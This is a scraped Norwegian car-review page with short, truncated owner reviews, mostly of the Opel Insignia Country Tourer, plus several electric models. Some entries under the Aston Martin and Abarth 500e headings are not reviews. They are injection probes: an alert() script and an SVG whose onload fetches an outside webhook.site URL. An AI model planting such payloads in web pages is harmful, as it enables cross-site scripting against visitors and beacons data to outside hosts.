Vurdert av Stian
Opel Insignia Country Tourer (2017)
Tysk kvalitet og fornuftig bil.
Opel Insignia Country Tourer (2016)
Veldig fornøyd med bilen! Kjøremaskin med knallgod komfort, tilstrekkelig med krefter og fantastiske seter (AGR). Gode reguleringsmuligheter på sete og ratt gir god kjørestilling selv for en mann
Opel Insignia Country Tourer (2014)
Knallgod og godt utstyrt bil som (foreløpig) har bydd på problemfritt bilhold. Ventilerte skinnseter, up-to-date multimediasystem, dieselvarmer, justerbart understell og adaptiv cruise er utstyr som
Opel Insignia Country Tourer (2014)
Meget gode kjøreegenskaper. Driftssikker. Mye utstyr. Særdeles gode seter.
Opel Insignia Country Tourer (2014)
En glimrende bil, med elegante løsninger, gode seter, ypperlige kjøreegenskaper!!
Opel Insignia Country Tourer (2014)
Driftsikker bil
Opel Insignia Country Tourer (2014)
Komfortabel og pålitelig bil med lave driftskostnader.
Opel Insignia Country Tourer (2014)
Etter til sammen 115 000 km bak rattet i to Insignia, kan jeg ikke annet enn å skamrose bilen. Den er en nytelse å se på og en nytelse å kjøre. Bonusen er at du ikke kjører rundt i noe som hver
Opel Insignia Country Tourer (2014)
Bil full av frustrasjon og opplever stadig at verkstedet ikke innehar nødvendig kompetanse / vilje til å rette opp feil. Jeg fikk bilen som ny, har hatt den i 3 år, og tilbakelagt 125 000km.
Opel Insignia Country Tourer (2014)
Fantastisk god bil, litt premiumfølese i interiøret, ryddig og lett og finne fram. Ikke minst er den pen og se på.
Opel Insignia Country Tourer (2014)
Svært godt fornøyd! En fornøyelse å kunne skifte mellom bakhjulsdrift på sommerføre og myk fjæring med hovedsaklig framhjulsdrift på dårlige vinterveier. God bruksbil også, når den trekker
Opel Insignia Country Tourer (2014)
Mest bil for pengene i denne klassen og et meget godt 4x4 system. Komfort , kjøreegenskaper og masse utstyr .
Opel Insignia Country Tourer (2014)
Fantastisk god bil å kjøre, veldig gode seter, alt av utstyr for en så billig bil. Minus, den ligg på ca 0.7 til 0.8 i forbruk men alt annet oppveier dette so langt.
Opel Insignia Country Tourer (2014)
Topp bil med utrolig god komfort og gode løsninger. MYE utstyr følger også med. Kanskje litt vel tung (ca 2000 kg med "normal" sjåfør - derav den gode komforten) og støyende motor (merkes kun p
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km